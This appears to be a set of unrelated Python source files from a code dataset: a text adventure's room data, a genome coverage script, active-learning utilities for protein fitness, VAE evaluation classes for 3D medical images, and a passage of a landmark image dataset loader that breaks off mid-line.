Vestibule.\n\"\"\"\n\nroom2Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬___▬▬▬▬▬▬▬▬▬▬▬\n▌ │ ●●●●●●● ______▐\n▌ │ │ ║▐\n▌ │ │_/ __▐\n▌ │ ▐\n▌ │ ▐\n▌║ │ │_ /_▐\n▌ │ o │ ▐\n▌ │ │ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Hallway.\n\"\"\"\n\nroom3Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬___▬▬▬▬▬▬▬▬▬▬▬\n▌ ? ▐\n▌ ▬▬▬▬ ▬▬▬▬ ▐\n▌ ▐\n▌ ▬▬▬▬ ▬▬▬▬ ▐\n▌ ▐\n▌ ▬▬▬▬ ▬▬▬▬ ▐\n▌ o ▐\n▌ ▬▬▬▬ ▬▬▬▬ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Dining Hall.\n\"\"\"\n\nroom4Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬■■■▬▬▬▬▬▬▬▬▬▬▬\n▌ ▐\n▌■ ■▐\n▌ ▐\n▌ ▐\n▌ ▐\n▌■ ■▐\n▌ o ▐\n▌ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Tower.\n\"\"\"\n\nroom5Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬___▬▬▬▬▬▬▬▬▬▬▬\n▌ ▐\n▌ ▌ ▌ ▐\n▌ ▐\n▌ ▌ ▌ ▐\n▌ ▐\n▌ ▌ ▌ ▐\n▌ o ▐\n▌ ▌ ▌ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Lost Antechamber.\n\"\"\"\n\nroom6Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬___▬▬▬▬▬▬▬▬▬▬▬\n▌ │ N ┬ ■▐\n▌ │ ▐\n▌ ┬ │ ▐\n │ │ ▐\n▌ │ │ ▐\n▌ │ │ ▐\n▌ │ o │ ▐\n▌ │ │ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Alchemist's Laboratory.\n\"\"\"\n\nroom7Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n▌ ■■■■■ ▐\n▌ ▐\n▌ ▐\n▌ ▐\n▌ ▐\n▌ ▐\n▌ o ▐\n▌ ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the Keeper's Vault.\n\"\"\"\n\n\ndef debugObject(obj):\n \"\"\"\n Prints SQL Info on the named object, used for debugging data.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"SELECT * FROM Objects WHERE name = (?)\", (obj,))\n info = dbc.fetchall()\n\n objId = info[0][0]\n objRoomId = info[0][1]\n objName = info[0][2]\n objDesc = info[0][3]\n objDroppable = info[0][4]\n objLootable = info[0][5]\n objContains = info[0][6]\n objLooted = info[0][7]\n objMovable = info[0][8]\n objDestroyable = info[0][9]\n\n print(\"Id:\", objId)\n print(\"roomId:\", objRoomId)\n print(\"Name:\", objName)\n print(\"Desc:\", objDesc)\n print(\"Droppable:\", objDroppable)\n print(\"Lootable:\", objLootable)\n print(\"Contains:\", objContains)\n print(\"Looted:\", objLooted)\n print(\"Movable:\", objMovable)\n print(\"Destroyable:\", objDestroyable)\n","repo_name":"Asbert75/dbwebb-kurser","sub_path":"python/kmom10/adventure/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":30215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22931118333","text":"# Takes bed file outputted from bedtools genomecov -bg -ibam\n\nfrom sys import argv\n\nnumbases = 0\n\ntry:\n\tcovlim = int(argv[2])\nexcept:\n\tcovlim = 0\n\nwith open(argv[1], 'r') as f:\n\tfor n, line in enumerate(f):\n\t\tline = line.strip().split('\\t')\n\t\tcurrent_start = int(line[1])\n\t\tcurrent_end = int(line[2])\n\t\tcov = int(line[3])\n\t\tif n == 0:\n\t\t\tprev_end = current_start\n\t\t\n\t\tif cov >= covlim:\n\t\t\tnumbases += current_end - current_start\n\n\t\tif prev_end != current_start:\n\t\t\tnumbases += 1\n\n\t\tprev_end = current_end\n\nprint(numbases)\n","repo_name":"alexpan82/bioinformatics_scripts","sub_path":"methylation/rrem-manscript/genomeCov.py","file_name":"genomeCov.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13426320911","text":"import numpy as np\nimport pickle\nimport pandas as pd\n\nfrom utils import *\n\nactual_fitness = pickle.load(open(\"all_fitness.pkl\", \"rb\"))\n\nactual_fitness_temp = {i:[entry, actual_fitness[entry]] for i,entry in enumerate(actual_fitness)}\n\nactual_fitness_df = pd.DataFrame.from_dict(actual_fitness_temp, orient='index')\nactual_fitness_df.columns = [\"AACombo\", \"Fitness\"]\n\nidx_to_combo_actual = pickle.load(open(\"idx_to_aacombo_map.pkl\", \"rb\"))\ncombo_to_idx_actual = pickle.load(open(\"aacombo_to_idx_map.pkl\", \"rb\"))\n\nwith open(\"./georgiev_enc/Encodings/example_protein_georgiev_ComboToIndex.pkl\", \"rb\") as f:\n combo_to_idx_pred = pickle.load(f)\nidx_to_combo_pred = {ind: combo for combo, ind in combo_to_idx_pred.items()}\n\nbase_1_combos = list(pd.read_csv(\"./Validation/BasicTestData/InputValidationData.csv\").AACombo)\nbase_2_combos = list(np.load(\"base_2.npy\"))\n\n\ndef combo_to_traindata(combo_list):\n training_data = [combo_list, [actual_fitness[combo] for combo in combo_list]]\n return pd.DataFrame(training_data, index=[\"AACombo\", \"Fitness\"]).T\n\n\ndef select(all_results, train_pool, al_strategy, al_iter, num_select):\n \"\"\"\n Filter model outputs, select num_select variants using al_strategy and add to train_pool\n \"\"\"\n train_error, test_error, pred_fitness, pred_fitness_std = all_results\n\n train_data_pred, train_data_std = filter(pred_fitness, pred_fitness_std, train_pool)\n\n if al_strategy[al_iter] == \"ucb\":\n new_combos = upper_confidence_bound(train_data_pred, train_data_std, num_select)\n elif al_strategy[al_iter] == \"lcb\":\n new_combos = upper_confidence_bound(train_data_pred, train_data_std, num_select)\n elif al_strategy[al_iter] == \"weighted_ucb\":\n new_combos = upper_confidence_bound(train_data_pred, train_data_std, num_select, uncertainty = False, weighted = True, model_test_error = test_error)\n elif al_strategy[al_iter] == \"weighted_lcb\":\n new_combos = lower_confidence_bound(train_data_pred, train_data_std, num_select, uncertainty = False, weighted = True, model_test_error = test_error)\n elif al_strategy[al_iter] == \"random\":\n new_combos = random(list(train_data_pred.keys()), num_select)\n elif al_strategy[al_iter] == \"ddG\":\n new_combos = ddG(list(train_data_pred.keys()), num_select)\n elif al_strategy[al_iter] == \"variance\":\n new_combos = variance(train_data_pred, train_data_std, num_select)\n elif al_strategy[al_iter] == \"384\":\n train_data_pred = {combo:train_data_pred[combo] for combo in train_data_pred if combo in base_1_combos}\n print(len(train_data_pred))\n new_combos = random(list(train_data_pred.keys()), num_select)\n elif al_strategy[al_iter] == \"384b\":\n train_data_pred = {combo:train_data_pred[combo] for combo in train_data_pred if combo in base_2_combos}\n print(len(train_data_pred))\n new_combos = random(list(train_data_pred.keys()), num_select)\n else:\n raise ValueError(\"{} AL strategy not implemented\".format(al_strategy))\n\n if len(list(set(new_combos) & set(train_pool))) > 0:\n raise ValueError(\"Adding redundant data to train_pool\")\n train_pool = train_pool + new_combos\n\n return train_pool\n\ndef filter(pred_fitness, pred_fitness_std, train_pool):\n \"\"\"\n Filter out variants we don't have fitness values for and are not already in train pool\n \"\"\"\n # combo:predicted fitness for all models\n train_data_pred = {}\n\n # combo:predicted fitness std for all models\n train_data_std = {}\n\n for i in range(160000):\n train_data_pred[idx_to_combo_pred[i]] = pred_fitness[:,i]\n\n for i in range(160000):\n train_data_std[idx_to_combo_pred[i]] = pred_fitness_std[:,i]\n\n # remove combos we do not have fitness values for\n train_data_pred = {combo:train_data_pred[combo] for combo in train_data_pred if combo in combo_to_idx_actual.keys()}\n train_data_std = {combo:train_data_std[combo] for combo in train_data_pred if combo in combo_to_idx_actual.keys()}\n\n # remove combos that are in train pool\n train_data_pred = {combo:train_data_pred[combo] for combo in train_data_pred if combo not in train_pool}\n train_data_std = {combo:train_data_std[combo] for combo in train_data_pred if combo not in train_pool}\n\n return train_data_pred, train_data_std\n\ndef prediction_error(pred_fitness_df):\n # filter predicted fitness that we don't have measurements for and we did not train on\n merged_fitness_df = pd.merge(actual_fitness_df, pred_fitness_df, how='inner', on=['AACombo'])\n merged_fitness_df = merged_fitness_df[merged_fitness_df[\"Train\"] == 0]\n\n pred_fitness = merged_fitness_df.PredictedFitness.to_numpy()\n actual_fitness = merged_fitness_df.Fitness.to_numpy()\n\n mse = avg_mean_squared_error(actual_fitness, pred_fitness)\n # ndcg_val = ndcg(actual_fitness, pred_fitness)\n max_m = max_m_fitness(actual_fitness, pred_fitness)\n mean_m = mean_m_fitness(actual_fitness, pred_fitness)\n\n return mse, max_m, mean_m\n\n\ndef vis_train_pool(train_pool):\n train_pool_indicator = np.zeros(149361)\n for combo in train_pool:\n train_pool_indicator[combo_to_idx_actual[combo]] = 1\n\n return train_pool_indicator\n\ndef intersect_train_pool(tp1, tp2):\n return list(set(tp1) & set(tp2))\n\ndef fitness_train_pool(train_pools):\n \"\"\"\n Get actual fitness values of elements in the train pool\n \"\"\"\n all_combos = []\n for tp in train_pools:\n all_combos += tp\n return [actual_fitness[combo] for combo in all_combos]\n\ndef fitness_variants(variants):\n \"\"\"\n Get actual fitness values of variants\n \"\"\"\n return [actual_fitness[combo] for combo in variants]\n","repo_name":"navneedh/mlde_AL","sub_path":"al_utils.py","file_name":"al_utils.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38764049607","text":"import inspect\nfrom logging import Logger\nimport os\nimport os.path as osp\nimport re\nfrom typing import Any, List, Union\nfrom numpy.lib.arraysetops import isin\n\nimport torch\nimport yaml\nfrom configs.config_vars import BASE_DIR\nfrom experiment import VAEXperiment\nfrom models import VAE_MODELS\nfrom tqdm import tqdm\n# from utils.custom_metrics import SSIM, MSE, PSNR\nfrom utils import custom_metrics\nfrom utils.io import mkdir_safe\nfrom utils.python_logger import get_logger\nfrom utils.visualization import vis3d_tensor\n\nMETRICS_FUNCS = inspect.getmembers(custom_metrics, inspect.isfunction)\nMETRICS_DICT = dict(METRICS_FUNCS)\n\n\nclass BaseEvaluator:\n \"\"\" load weight and init model as well as dataset for prediction and stuff \"\"\"\n\n LOG_DIR = osp.join(BASE_DIR, \"logs\")\n\n def __init__(self,\n log_name: str,\n version: Union[int, str],\n base_model_name: str = 'VAE3D',\n verbose: bool = False,):\n \"\"\"\n\n Args:\n log_name (str): name of the log, should be the rel path between logs/ and logs/<log_name>/config.yaml\n version (Union[int, str]): version of the dataset, if not specified, will use the latest version\n base_model_name (str, optional): backbone of the model used. Defaults to 'VAE3D'.\n verbose (bool, optional): whether to print info. Defaults to False.\n \"\"\"\n self.log_name = log_name\n self.version = version\n self.base_model_name = base_model_name\n log_dir = osp.join(self.LOG_DIR, log_name)\n assert osp.exists(log_dir), f\"log_dir: {log_dir} does not exist\"\n\n self.logger = get_logger(cls_name=self.__class__.__name__)\n if verbose:\n self.logger.info(f\"Loading model log from: {log_dir}\")\n\n if version is None:\n versions = sorted([v.split(\"version_\")[-1]\n for v in os.listdir(log_dir)])\n self.version = versions[-1]\n self.logger.info(f\"selected version {self.version}\")\n self.load_dir = osp.join(self.LOG_DIR,\n log_name,\n f'version_{self.version}')\n\n self._config = self._load_config(self.load_dir)\n self.module = self._init_model(self.load_dir,\n self.base_model_name)\n\n pass\n\n def _load_config(self, load_dir):\n config_path = os.path.join(load_dir, 'config.yaml')\n # NOTE: could be .yaml or .yml\n if not osp.exists(config_path):\n config_path = os.path.join(load_dir, 'config.yml')\n with open(config_path, 'r') as file:\n config = yaml.safe_load(file)\n # NOTE: HACK!!! the config file will have the hidden_dims reversed,\n # so reverse it to have the same model\n # assume that the original is from small to large\n config['model_params']['hidden_dims'].sort()\n return config\n\n def _init_model(self, base_dir, base_model_name):\n vae_model = VAE_MODELS[base_model_name](**self._config['model_params'])\n ckpt_path = self._getckptpath(base_dir) # implement this\n return VAEXperiment.load_from_checkpoint(ckpt_path,\n vae_model=vae_model,\n params=self._config['exp_params'])\n\n @staticmethod\n def _getckptpath(base_dir):\n # get checkpoint path of the max epoch saved model\n ckpt_path = osp.join(base_dir, 'checkpoints')\n files = os.listdir(ckpt_path)\n if len(files) > 1:\n epochs = [int(re.findall('\\d+', f)[0]) for f in files]\n return osp.join(ckpt_path, files[epochs.index(max(epochs))])\n else:\n return osp.join(ckpt_path, files[0])\n\n def _parse_dataloader(self, dataloader, dl_params=None):\n if not dl_params:\n dl_params = {'shuffle': False, 'drop_last': False}\n if isinstance(dataloader, str):\n dataloader = getattr(self.module, dataloader)(**dl_params)\n if isinstance(dataloader, List):\n dataloader = dataloader[0]\n elif isinstance(dataloader, torch.utils.data.DataLoader):\n # input dataloader instance\n dataloader = dataloader\n else:\n raise NotImplementedError(\"[EmbeddingPredictor] \\\n Not supported dataloder type: \\'{type(dataloader)}\\'\")\n return dataloader\n\n\nclass MetricEvaluator(BaseEvaluator):\n \"\"\" calculate more custom metrics \"\"\"\n\n def __init__(self,\n metrics: List,\n log_name: str,\n version: Union[int, str],\n base_model_name: str = 'VAE3D',\n verbose: bool = False,):\n super().__init__(log_name=log_name,\n version=version,\n base_model_name=base_model_name,\n verbose=verbose)\n\n try:\n self.metrics = {name: METRICS_DICT[name] for name in metrics}\n except KeyError as e:\n print(\n e, f\"[MetricEvaluator] Failed to find metric name {metrics}. Available metrics: {METRICS_DICT.keys}\")\n pass\n\n def calc_metrics(self,\n dataloader='val_dataloader',\n dl_params={'shuffle': False, 'drop_last': False}):\n dataloader = self._parse_dataloader(dataloader, dl_params=dl_params)\n metrics_dict = {name: [] for name in self.metrics.keys()}\n for batch, file_names in tqdm(dataloader):\n output = self.module.model.forward(batch)\n # detach\n batch, recon_batch = batch.detach(), output[0].detach()\n\n for i in range(batch.shape[0]):\n img, recon = batch[i, 0, ::], recon_batch[i, 0, ::]\n\n for name, func in self.metrics.items():\n result = func(img, recon)\n metrics_dict[name].append(result)\n\n return metrics_dict\n\n def __call__(self, *args: Any, **kwds: Any) -> Any:\n return self.calc_metrics(*args, **kwds)\n\n\nclass ReconEvaluator(BaseEvaluator):\n \"\"\" visualize reconstructed patches \"\"\"\n\n def __init__(self,\n vis_dir: str,\n log_name: str,\n version: int,\n base_model_name: str = 'VAE3D',\n verbose: bool = False,):\n super().__init__(log_name=log_name,\n version=version,\n base_model_name=base_model_name,\n verbose=verbose)\n if vis_dir is not None:\n mkdir_safe(vis_dir)\n self.vis_dir = vis_dir\n self.name_prefix = f\"{self.log_name}.{self.version}.\"\n pass\n\n def generate(self, latent_vector: torch.Tensor):\n \"\"\" use decoder to generate 3D images \"\"\"\n synth_imgs = self.module.model.decode(latent_vector)\n return synth_imgs\n\n def visualize(self,\n dataloader='val_dataloader',\n dl_params={'shuffle': False, 'drop_last': False},\n num_batches=10):\n \"\"\" create visualizations for a dataloader \"\"\"\n if (not isinstance(dataloader, int)) and (\"name\" not in dl_params):\n self.logger.warning(\n \"didn't specify dataset name, default as \\'unknown\\'\")\n dl_params['name'] = \"unknown\"\n elif isinstance(dataloader, int):\n dl_params['name'] = dataloader\n\n dataloader = self._parse_dataloader(dataloader, dl_params=dl_params)\n for i, (batch, file_names) in enumerate(dataloader):\n output = self.module.model.forward(batch)\n # detach\n batch, recon_batch = batch.detach(), output[0].detach()\n vis3d_tensor(img_tensor=batch, # TODO: add names\n save_path=osp.join(self.vis_dir,\n f\"{self.name_prefix}_{dl_params['name']}_{str(i).zfill(2)}_image.jpeg\"))\n vis3d_tensor(img_tensor=recon_batch,\n save_path=osp.join(self.vis_dir,\n f\"{self.name_prefix}_{dl_params['name']}_{str(i).zfill(2)}_recon.jpeg\"))\n if i >= num_batches:\n return\n pass\n\n def __call__(self, *args: Any, **kwds: Any) -> Any:\n return self.visualize(*args, **kwds)\n\n\nclass ReconSelectEvaluater(ReconEvaluator):\n \"\"\" visualize reconstructed patches, can select by indices \"\"\"\n\n def __init__(self,\n vis_dir: str,\n log_name: str,\n version: int,\n base_model_name: str = 'VAE3D',\n verbose: bool = False,):\n super().__init__(vis_dir=vis_dir,\n log_name=log_name,\n version=version,\n base_model_name=base_model_name,\n verbose=verbose)\n pass\n\n def visualize(self,\n dataset,\n indices=None,\n nrow=6):\n \"\"\" create visualizations from a dataset \"\"\"\n if indices is None:\n indices = list(range(6))\n img_lst = []\n for i, idx in enumerate(indices):\n img, fname = dataset[idx] # img: [C, L, W, H]\n img_lst.append(img)\n img_batch = torch.stack(img_lst, dim=0)\n recon_batch = self.module.model.forward(img_batch)[0].detach()\n if self.vis_dir is not None:\n img_save_path = osp.join(self.vis_dir,\n f\"{self.name_prefix}_{str(i).zfill(2)}_image.jpeg\")\n recon_save_path = osp.join(self.vis_dir,\n f\"{self.name_prefix}_{str(i).zfill(2)}_recon.jpeg\")\n else:\n img_save_path = None\n recon_save_path = None\n vis3d_tensor(img_tensor=img_batch,\n save_path=img_save_path,\n nrow=nrow)\n vis3d_tensor(img_tensor=recon_batch,\n save_path=recon_save_path,\n nrow=nrow)\n pass\n\n\nclass SynthesisGaussian(ReconEvaluator):\n \"\"\" synthesize nodule patches with random gaussian values \"\"\"\n\n def __init__(self,\n vis_dir: str,\n log_name: str,\n version: int,\n base_model_name: str = 'VAE3D',):\n super().__init__(vis_dir=vis_dir,\n log_name=log_name,\n version=version,\n base_model_name=base_model_name)\n self.modes = {'random_gaussian': self.random_gaussian}\n pass\n\n def generate(self, latent_vector: torch.Tensor):\n \"\"\" use decoder to generate 3D images \"\"\"\n synth_imgs = self.module.model.decode(latent_vector)\n return synth_imgs\n\n def random_gaussian(self, batch_num, seed=None):\n \"\"\" generate a batch of random gaussian vectors as latent vectors \"\"\"\n batch_size = self.module.params['batch_size']\n latent_dim = self.module.model.latent_dim\n # NOTE: 0 and 1 are chosen according to kl loss\n z = torch.normal(mean=0, std=1, size=(batch_size, latent_dim))\n return z\n\n def synthesize(self, mode='random_gaussian', kwargs={}):\n func = self.modes[mode]\n z = func(**kwargs)\n synth_imgs = self.generate(z)\n return synth_imgs\n\n def synth_and_vis(self, mode='random_gaussian', kwargs={}, num_batches=1):\n for i in range(num_batches):\n synth_imgs = self.synthesize(mode=mode, kwargs=kwargs, batch_num=i)\n path = osp.join(\n self.vis_dir, f\"{self.name_prefix}synth_batch_{mode}_{i}.jpeg\")\n vis3d_tensor(synth_imgs, save_path=path)\n pass\n\n def __call__(self, *args: Any, **kwds: Any) -> Any:\n self.synth_and_vis(*args, **kwds)\n pass\n\n\nclass SynthsisReParam(ReconEvaluator):\n\n def __init__(self,\n vis_dir: str,\n log_name: str,\n version: int,\n base_model_name: str = 'VAE3D'):\n super().__init__(vis_dir=vis_dir,\n log_name=log_name,\n version=version,\n base_model_name=base_model_name)\n pass\n\n def repeat_reparam(self, mu, logvar, num_reparam=5):\n latent_list = []\n for j in range(num_reparam):\n z = self.module.model.reparameterize(mu, logvar)\n latent_list.append(z)\n latent = torch.stack(latent_list, axis=1).detach()\n latent = latent.view((latent.shape[0] * latent.shape[1],\n latent.shape[2]))\n return latent\n\n def generate(self, latent_vector: torch.Tensor):\n \"\"\" use decoder to generate 3D images \"\"\"\n synth_imgs = self.module.model.decode(latent_vector)\n return synth_imgs\n\n def reparametrize(self,\n num_batches=1,\n dataloader='val_dataloader',\n dl_params={'shuffle': False, 'drop_last': False},\n num_reparametrization=5):\n \"\"\" more re-parametrization of a single nodule \"\"\"\n dataloader = self._parse_dataloader(dataloader, dl_params=dl_params)\n for i, (batch, file_names) in enumerate(dataloader):\n mu, log_var = self.module.model.encode(batch)\n self.logger.info(\n f\"average std = {torch.exp(0.5 * log_var).mean().detach().numpy()}\")\n # re-parametrize\n latent_vector = self.repeat_reparam(mu=mu, logvar=log_var)\n # synthesize\n img_batch = self.generate(latent_vector=latent_vector)\n # detach\n vis3d_tensor(img_tensor=img_batch,\n nrow=num_reparametrization,\n save_path=osp.join(self.vis_dir,\n f\"{self.name_prefix}reparam_{str(i).zfill(2)}.jpeg\"))\n if i >= num_batches:\n return\n pass\n\n def __call__(self, *args: Any, **kwds: Any) -> Any:\n self.reparametrize(*args, **kwds)\n pass\n\n\nclass SynthesisRange(ReconEvaluator):\n\n def __init__(self,\n vis_dir: str,\n log_name: str,\n version: int,\n base_model_name: str = 'VAE3D'):\n super().__init__(vis_dir,\n log_name,\n version,\n base_model_name=base_model_name)\n pass\n\n def reparametrize(self,\n num_batches=1,\n dataloader='val_dataloader',\n dl_params={'shuffle': False, 'drop_last': False},\n num_points=10,\n feature_idx: Union[int, list] = 0):\n \"\"\"more re-parametrization of a single nodule: setting a value range (-5, 5) * std and tune a set of features (feature_idx)\n TODO\n Args:\n num_batches (int, optional): [description]. Defaults to 1.\n dataloader (str, optional): [description]. Defaults to 'val_dataloader'.\n dl_params (dict, optional): [description]. Defaults to {'shuffle': False, 'drop_last': False}.\n num_points (int, optional): [description]. Defaults to 10.\n feature_idx (Union[int, list], optional): [can be a list or an int, if NEGATIVE, sample from (5 -> -5)*std. e.g. [-5, -6] -> sample feature num 5 and 6, but from largest to smallest values. Defaults to 0.\n \"\"\"\n dataloader = self._parse_dataloader(dataloader, dl_params=dl_params)\n for i, (batch, file_names) in enumerate(dataloader):\n mu, log_var = self.module.model.encode(batch)\n self.logger.info(\n f\"average std = {torch.exp(0.5 * log_var).mean().detach().numpy()}\")\n # re-parametrize\n latent_vector = self.feature_range(mu=mu,\n logvar=log_var,\n idx=feature_idx,\n num_points=num_points)\n # synthesize\n img_batch = self.generate(latent_vector=latent_vector)\n # detach\n if isinstance(feature_idx, int):\n filename = f\"{self.name_prefix}range_feature{feature_idx}_{str(i).zfill(2)}.jpeg\"\n else:\n filename = f\"{self.name_prefix}range_num={len(feature_idx)}_{str(i).zfill(2)}.jpeg\"\n vis3d_tensor(img_tensor=img_batch,\n nrow=num_points,\n save_path=osp.join(self.vis_dir,\n filename))\n if i == num_batches - 1:\n return\n pass\n\n def feature_range(self,\n mu: torch.Tensor,\n logvar: torch.Tensor,\n idx: Union[int, list],\n num_points: int = 10,\n ):\n \"\"\"AI is creating summary for feature_range\n\n Args:\n mu (torch.Tensor): [description]\n logvar (torch.Tensor): [description]\n idx (Union[int, list]): if negative, sample inversely.\n num_points (int, optional): [description]. Defaults to 10.\n\n Returns:\n [type]: [description]\n \"\"\"\n # idx = list\n if isinstance(idx, int):\n idx = [idx]\n pos_idx = [i for i in idx if i >= 0]\n neg_idx = [-i for i in idx if i < 0]\n # get latent variable\n latent = mu\n # std matrix\n posstd = torch.exp(0.5 * logvar[:, pos_idx])\n negstd = torch.exp(0.5 * logvar[:, neg_idx])\n std_linspace = torch.linspace(start=-5, end=5, steps=num_points)\n # std_matrix = torch.outer(std, std_linspace)\n posstd_matrix = (posstd.unsqueeze(2).repeat(1, 1, num_points)\n * std_linspace).permute(0, 2, 1)\n negstd_matrix = (negstd.unsqueeze(2).repeat(1, 1, num_points)\n * -std_linspace).permute(0, 2, 1) # negative of std_linspace\n\n # add std\n latent = latent.unsqueeze(1).repeat(1, num_points, 1)\n latent[:, :, pos_idx] = latent[:, :, pos_idx] + posstd_matrix\n latent[:, :, neg_idx] = latent[:, :, neg_idx] + negstd_matrix\n return latent\n\n def generate(self, latent_vector: torch.Tensor):\n \"\"\" use decoder to generate 3D images \"\"\"\n synth_imgs = self.module.model.decode(latent_vector)\n return synth_imgs\n\n def __call__(self, *args: Any, **kwds: Any) -> Any:\n self.reparametrize(*args, **kwds)\n pass\n","repo_name":"gevaertlab/Variational-Auto-Encoder","sub_path":"evaluations/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":18707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71020860906","text":"import sys\nimport os\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os\nfrom collections import defaultdict\nimport tqdm\nimport csv\nimport multiprocessing\nimport pickle\nimport itertools\nimport random\nimport traceback\nfrom PIL import Image\nimport threading\n\n\nCSV_FILE = 'CSV-files/train.csv'\n# OUTDIR = 'TrainDatasets/'\nIMAGES = 'Images/'\nDATASET_DIR = 'Train' # Dont add the '/'\nNUM_DATASETS = 5\nNUM_WORKERS = 4\nNEW_H = 224\nNEW_W = 224\n\nclass Loader():\n '''\n Generates NUM_DATASETS from Images, organized by class folder, with 60 images per class.\n '''\n def __init__(self):\n self.id_to_lid = None # Maps { img_id: l_id }\n self.lid_to_imgs = None # Maps { l_id: [ img_ids with l_id ]}\n self.total_labels = None # Total number of labels in downloaded images.\n\n def load_lid_to_imgs(self):\n '''\n Load file to global lid_to_imgs from pickle file or creates it and makes a pickle.\n '''\n # Load or create lid_to_imgs\n lid_to_imgs_pickle = 'lid_to_imgs.pickle'\n if os.path.isfile(lid_to_imgs_pickle):\n with open(lid_to_imgs_pickle, 'rb') as p:\n self.lid_to_imgs = pickle.load(p)\n\n else:\n # Maps landmark_id to a list of id with that l_id\n self.lid_to_imgs = defaultdict(list)\n\n # without pandas, so we only use images that were downloaded\n for k_v in tqdm.tqdm(self.id_to_lid.items()):\n img_id, l_id = k_v\n self.lid_to_imgs[l_id].append(img_id)\n\n with open(lid_to_imgs_pickle, 'wb') as p:\n pickle.dump(self.lid_to_imgs, p, protocol=pickle.HIGHEST_PROTOCOL)\n\n def get_labels(self, csv_file):\n '''\n Returns dict: labels_tuple: list of (index, l_id, l_id_count, label). Index unique id from 0 to 14950 (14951 total), where label is upsample_{1-5} or downsample\n '''\n\n downloaded_imgs = set(os.listdir(IMAGES))\n\n self.id_to_lid = {}\n with open(CSV_FILE) as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n img_id = row['id']\n img_file = '{}.jpg'.format(img_id)\n if img_file in downloaded_imgs:\n self.id_to_lid[img_id] = row['landmark_id']\n\n l_id_counts = defaultdict(int)\n for img_file in downloaded_imgs:\n img_id = img_file[:-4]\n l_id = self.id_to_lid[img_id]\n l_id_counts[l_id] += 1\n\n labels_tuples = []\n for index, l_id_with_count_tuple in enumerate(l_id_counts.items()):\n l_id, l_id_count = l_id_with_count_tuple\n if l_id_count == 1:\n label = 'upsample_0'\n elif l_id_count < 4:\n label = 'upsample_1'\n elif l_id_count < 15:\n label = 'upsample_2'\n elif l_id_count < 30:\n label = 'upsample_3'\n elif l_id_count < 60:\n label = 'upsample_4'\n else:\n label = 'downsample'\n labels_tuples.append((index, l_id, l_id_count, label))\n return labels_tuples\n\n\n def transformImages(self, l_id, id_to_transformations):\n '''\n Transforms images and adds them to corresponding directories.\n '''\n for img_id in self.lid_to_imgs[l_id]:\n img_file = os.path.join(IMAGES, '{}.jpg'.format(img_id))\n with Image.open(img_file) as img:\n for transformations in id_to_transformations[img_id]: # id_to_transformations[img_id] is a list like ['c', 'cd']\n new_img = img\n\n for t in transformations: # transformations is a string\n if t == 'd':\n new_img = new_img.point(lambda p: p * 0.8)\n elif t == 'B':\n new_img = new_img.point(lambda p: p * 1.4)\n elif t == 'g':\n new_img = new_img.convert('L')\n elif t == 'c':\n w, h = img.size\n x = random.randint(0, w-NEW_W-1)\n y = random.randint(0, h-NEW_H-1)\n new_img = new_img.crop((x,y, x+NEW_W, y+NEW_H))\n elif t == 'f':\n new_img = new_img.transpose(Image.FLIP_LEFT_RIGHT)\n new_img = new_img.resize((NEW_W, NEW_H))\n for i in range(NUM_DATASETS):\n new_file_name = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}_{}.jpg'.format(img_id, transformations))\n new_img.save(new_file_name, format='JPEG')\n\n for i in range(NUM_DATASETS):\n new_imgs = os.listdir(os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id)))\n assert(len(new_imgs) == 60)\n\n\n def upsample_1_to_60(self, l_id):\n '''\n Apply transformations to a single image to bring it up to 60 samples.\n flip (x2), dim/bright (x3), color-transform (x2), 4-crops (x5), total: x60\n Save the image in all five datasets.\n '''\n assert(len(self.lid_to_imgs[l_id]) == 1)\n\n # Remove files in dir\n for i in range(NUM_DATASETS):\n class_dir = os.listdir(os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id)))\n for img_file in class_dir:\n os.remove(os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), img_file))\n\n img_id = self.lid_to_imgs[l_id][0]\n img_file = os.path.join(IMAGES, '{}.jpg'.format(img_id))\n\n try:\n\n # Transpose\n with Image.open(img_file) as img:\n transpose = img.transpose(Image.FLIP_LEFT_RIGHT)\n for i in range(NUM_DATASETS):\n new_file_name = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}_{}.jpg'.format(img_id, ''))\n img.save(new_file_name, format='JPEG')\n new_file_name_t = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}_{}.jpg'.format(img_id, 't'))\n transpose.save(new_file_name_t, format='JPEG')\n\n # Dim/Bright\n class_dir = os.path.join(OUTDIR, 